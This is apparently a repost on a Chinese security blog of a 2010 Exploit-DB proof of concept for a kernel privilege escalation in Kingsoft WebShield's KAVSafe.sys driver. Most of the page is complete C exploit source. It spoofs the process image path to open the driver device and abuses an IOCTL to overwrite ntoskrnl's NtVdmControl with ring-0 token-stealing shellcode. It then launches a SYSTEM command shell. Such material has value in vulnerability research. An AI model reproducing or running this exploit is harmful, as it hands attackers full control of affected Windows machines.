2021年4月3日19:10:50评论56 views字数 7922阅读26分24秒阅读模式

金山网盾内核模式本地提权漏洞

2010.4.14.609版本及之前的KAVSafe.sys存在内核本地提权漏洞

# Title: Kingsoft WebShield KAVSafe.sys
# EDB-ID: 12710
# CVE-ID: ()
# OSVDB-ID: ()
# Author: Xuanyuan Smart
# Published: 2010-05-23
# Verified: no
# Download Exploit Code
# Download N/A
---------------------------------------------------------------------------------
Kingsoft WebShield KAVSafe.sys 译文：金山网盾2010.4.14.609版及之前的版本KAVSafe.sys存在内核模式本地权限提升漏洞
---------------------------------------------------------------------------------
VULNERABLE PRODUCTS：
存在漏洞的版本：

Kingsoft WebShield 金山网盾2010.4.14.609版及之前的版本

Signature Date: 2010-5-23 2:33:54
数字签名：2010-5-23 2:33:54

And
和

KAVSafe.sys 2010.4.14.609版及之前的KAVSafe.sys

Signature Date：2010-4-14 13:42:26
数字签名：2010-4-14 13:42:26
---------------------------------------------------------------------------------
DETAILS:
详情：

Kavsafe.sys create a device called DeviceKAVSafe , and handles DeviceIoControl request IoControlCode = 0x830020d4 , which can overwrite arbitrary kernel module data
Kavsafe.sys 创建一个名为DeviceKAVSafe的设备，并接受0x830020d4号控制码，该控制码可以复写任意内核模块的内存。

EXPLOIT CODE:
利用代码：

#define IOCTL_HOTPATCH_KERNEL_MODULE CTL_CODE(0x8300 , 0x835 , METHOD_BUFFERED ,FILE_ANY_ACCESS)
typedef LONG (WINAPI *PNT_QUERY_INFORMATION_PROCESS)(
HANDLE ProcessHandle,
DWORD ProcessInformationClass,
PVOID ProcessInformation,
ULONG ProcessInformationLength,
PULONG ReturnLength
);

typedef struct _STRING {
    USHORT Length;
    USHORT MaximumLength;
    PCHAR Buffer;
} STRING;
typedef STRING *PSTRING;
typedef struct _RTL_DRIVE_LETTER_CURDIR {
    USHORT Flags;
    USHORT Length;
    ULONG TimeStamp;
    STRING DosPath;
} RTL_DRIVE_LETTER_CURDIR, *PRTL_DRIVE_LETTER_CURDIR;
typedef struct _UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR Buffer;
} UNICODE_STRING;
typedef UNICODE_STRING *PUNICODE_STRING;
typedef const UNICODE_STRING *PCUNICODE_STRING;
#define RTL_MAX_DRIVE_LETTERS 32
#define RTL_DRIVE_LETTER_VALID (USHORT)0x0001
typedef struct _CURDIR {
    UNICODE_STRING DosPath;
    HANDLE Handle;
} CURDIR, *PCURDIR;
typedef struct _RTL_USER_PROCESS_PARAMETERS {
    ULONG MaximumLength;
    ULONG Length;
    ULONG Flags;
    ULONG DebugFlags;
    HANDLE ConsoleHandle;
    ULONG ConsoleFlags;
    HANDLE StandardInput;
    HANDLE StandardOutput;
    HANDLE StandardError;
    CURDIR CurrentDirectory;        // ProcessParameters
    UNICODE_STRING DllPath;         // ProcessParameters
    UNICODE_STRING ImagePathName;   // ProcessParameters
    UNICODE_STRING CommandLine;     // ProcessParameters
    PVOID Environment;              // NtAllocateVirtualMemory
    ULONG StartingX;
    ULONG StartingY;
    ULONG CountX;
    ULONG CountY;
    ULONG CountCharsX;
    ULONG CountCharsY;
    ULONG FillAttribute;
    ULONG WindowFlags;
    ULONG ShowWindowFlags;
    UNICODE_STRING WindowTitle;     // ProcessParameters
    UNICODE_STRING DesktopInfo;     // ProcessParameters
    UNICODE_STRING ShellInfo;       // ProcessParameters
    UNICODE_STRING RuntimeData;     // ProcessParameters
    RTL_DRIVE_LETTER_CURDIR CurrentDirectores[ RTL_MAX_DRIVE_LETTERS ];
} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;
typedef struct _PEB {
    BOOLEAN InheritedAddressSpace;      // These four fields cannot change unless the
    BOOLEAN ReadImageFileExecOptions;   //
    BOOLEAN BeingDebugged;              //
    BOOLEAN SpareBool;                  //
    HANDLE Mutant;                      // INITIAL_PEB structure is also updated.
    PVOID ImageBaseAddress;
    PVOID Ldr;
    struct _RTL_USER_PROCESS_PARAMETERS *ProcessParameters;
} PEB, *PPEB;
typedef LONG KPRIORITY;
typedef struct _PROCESS_BASIC_INFORMATION {
    LONG ExitStatus;
    PVOID PebBaseAddress;
    ULONG_PTR AffinityMask;
    KPRIORITY BasePriority;
    ULONG_PTR UniqueProcessId;
    ULONG_PTR InheritedFromUniqueProcessId;
} PROCESS_BASIC_INFORMATION,*PPROCESS_BASIC_INFORMATION;
typedef struct {
    ULONG   Unknown1;
    ULONG   Unknown2;
    PVOID   Base;
    ULONG   Size;
    ULONG   Flags;
    USHORT Index;
    USHORT NameLength;
    USHORT LoadCount;
    USHORT PathLength;
    CHAR    ImageName[256];
} SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY;

typedef struct {
    ULONG   Count;
    SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
} X_SYSTEM_MODULE_INFORMATION, *PX_SYSTEM_MODULE_INFORMATION;
typedef LONG (WINAPI *PNT_QUERY_SYSTEM_INFORMATION) (
   LONG SystemInformationClass,
PVOID SystemInformation,
   ULONG SystemInformationLength,
   PULONG ReturnLength
    );

#define NtCurrentProcess() ( (HANDLE)(LONG_PTR) -1 )
typedef LONG (WINAPI *PNT_VDM_CONTROL) (
   ULONG Service,
   PVOID ServiceData
    );
VOID __declspec(naked) R0ShellCodeXP()
{
__asm
{
mov eax,0xffdff124
mov eax,[eax]
mov esi ,dword ptr[eax+0x220]
mov eax,esi
searchxp:
mov eax,dword ptr[eax+0x88]
sub eax,0x88
mov edx,dword ptr[eax+0x84]
cmp edx,4
jnz searchxp
mov eax,dword ptr[eax+0xc8]
mov dword ptr[esi + 0xc8] , eax
ret 8
}
}
VOID NopNop()
{
printf("nop!n");
}

#include "malloc.h"
int main(int argc, char* argv[])
{

printf("KSWebShield KAVSafe.sys <= 2010,04,14,609n"
"Kernel Mode Privilege Escalation Vulnerability Proof-of-Conceptn"
"2010-5-23n"
"By Lincoin nnPress Enter");
HKEY hkey ;
WCHAR InstallPath[MAX_PATH];
DWORD datatype ;
DWORD datasize = MAX_PATH * sizeof(WCHAR);
ULONG oldlen ;
PVOID pOldBufferData = NULL ;

if (RegOpenKey(HKEY_LOCAL_MACHINE , "SOFTWAREKingsoftKSWSVC", &hkey) == ERROR_SUCCESS)
{
if (RegQueryValueExW(hkey , L"ProgramPath" , NULL , &datatype , (LPBYTE)InstallPath , &datasize) != ERROR_SUCCESS)
{
RegCloseKey(hkey);
printf("KSWebShield not installedn");
getchar();
return 0 ;
}

RegCloseKey(hkey);
}
else
{
printf("KSWebShield not installedn");
getchar();
return 0 ;
}
wcscat(InstallPath , L"kavinst.exe");

PROCESS_BASIC_INFORMATION pbi ;

PNT_QUERY_INFORMATION_PROCESS pNtQueryInformationProcess ;
pNtQueryInformationProcess = (PNT_QUERY_INFORMATION_PROCESS)GetProcAddress(GetModuleHandle("ntdll.dll" ) , "NtQueryInformationProcess");
pNtQueryInformationProcess(NtCurrentProcess() , 0 , &pbi , sizeof(pbi) , NULL);

PPEB peb ;

peb = (PPEB)pbi.PebBaseAddress;
oldlen = peb->ProcessParameters->ImagePathName.Length;
peb->ProcessParameters->ImagePathName.Length = wcslen(InstallPath) * sizeof(WCHAR);
pOldBufferData = malloc(peb->ProcessParameters->ImagePathName.Length);
RtlCopyMemory(pOldBufferData,peb->ProcessParameters->ImagePathName.Buffer , peb->ProcessParameters->ImagePathName.Length);
RtlCopyMemory(peb->ProcessParameters->ImagePathName.Buffer , InstallPath ,peb->ProcessParameters->ImagePathName.Length );
HANDLE hdev = CreateFile("\.KAVSafe" ,
FILE_READ_ATTRIBUTES ,
FILE_SHARE_READ ,
0,
OPEN_EXISTING ,
0,
0);

if (hdev==INVALID_HANDLE_VALUE)
{
printf("cannot open device %un", GetLastError());
getchar();
return 0 ;
}
RtlCopyMemory(peb->ProcessParameters->ImagePathName.Buffer , pOldBufferData,peb->ProcessParameters->ImagePathName.Length);
peb->ProcessParameters->ImagePathName.Length = (USHORT)oldlen ;

PNT_QUERY_SYSTEM_INFORMATION pNtQuerySystemInformation ;
pNtQuerySystemInformation = (PNT_QUERY_SYSTEM_INFORMATION)GetProcAddress(GetModuleHandle("ntdll.dll") , "NtQuerySystemInformation");
X_SYSTEM_MODULE_INFORMATION sysmod ;
HMODULE KernelHandle ;

pNtQuerySystemInformation(0xb, &sysmod, sizeof(sysmod), NULL);
KernelHandle = LoadLibrary(strrchr(sysmod.Module[0].ImageName, '') + 1);
if (KernelHandle == 0 )
{
printf("cannot load ntoskrnl!n");
getchar();
return 0 ;
}
PVOID pNtVdmControl = GetProcAddress(KernelHandle , "NtVdmControl");

if (pNtVdmControl == 0 )
{
printf("cannot find NtVdmControl!n");
getchar();
return 0 ;
}
pNtVdmControl = (PVOID)((ULONG)pNtVdmControl - (ULONG)KernelHandle );

printf("NtVdmControl = %08x" , pNtVdmControl );
getchar();
ULONG ShellCodeSize = (ULONG)NopNop - (ULONG)R0ShellCodeXP;
ULONG pShellCode = (ULONG)R0ShellCodeXP;

PVOID Data = malloc(0x48 + ShellCodeSize);

CopyMemory((PVOID)((ULONG)Data + 0x48) , R0ShellCodeXP , ShellCodeSize);
CHAR ModuleName[68]= "ntoskrnl.exe" ;
RtlCopyMemory( Data , ModuleName , sizeof(ModuleName));
*(ULONG*)((ULONG)Data + 64) = (ULONG)pNtVdmControl;
*(ULONG*)((ULONG)Data + 68) = ShellCodeSize ;
ULONG btr ;
if (!DeviceIoControl(hdev ,
IOCTL_HOTPATCH_KERNEL_MODULE ,
Data ,
0x48 + ShellCodeSize ,
NULL ,
0,
&btr , 0
))
{
printf("cannot device io control!%un" , GetLastError());
getchar();
return 0;
}

CloseHandle(hdev);

PNT_VDM_CONTROL pR3NtVdmControl = (PNT_VDM_CONTROL)GetProcAddress(GetModuleHandle("ntdll.dll") , "NtVdmControl");
pR3NtVdmControl(0,0);
WinExec("cmd.exe" , SW_SHOW);
printf("OK!n ");

getchar();

return 0;
}

文章来源于lcx.cc:【Exp】金山网盾内核模式本地提权

相关推荐: DedeCMS 内容管理系统恶作剧漏洞 + EXP

作者：心灵 o(∩_∩)o ，哈哈，刚拿这个漏洞去玩，现在肚子还在笑。纯属恶作剧，反正很搞笑的漏洞就是了，此漏洞只能当作恶作剧使用，并没什么用处。经典对白看代码…… edit_fullinfo.php： if($dopost…

左青龙
微信扫一扫

右白虎
微信扫一扫

【Exp】金山网盾内核模式本地提权

金山网盾内核模式本地提权漏洞

Php安全新闻早8点（2011-11-17 星期四） - 技术文章

黑客组织与墨西哥毒贩对峙取胜被绑成员已获释

PageAdmin cms getshell 0day - 脚本漏洞

UFO造访水星视频遭网友曝光美天文学家否认

WordPress 注入检查脚本 - 脚本漏洞

行业之星自助建站系统 v0.87 漏洞 - 脚本漏洞

深山网站管理系统漏洞 - 脚本漏洞

【Php】ABCMS新闻发布系统漏洞 - 脚本漏洞

德清洁工误将艺术品当灰尘擦干净致损失80万欧元

德新型单人飞行器试飞成功

发表评论

在线咨询

微信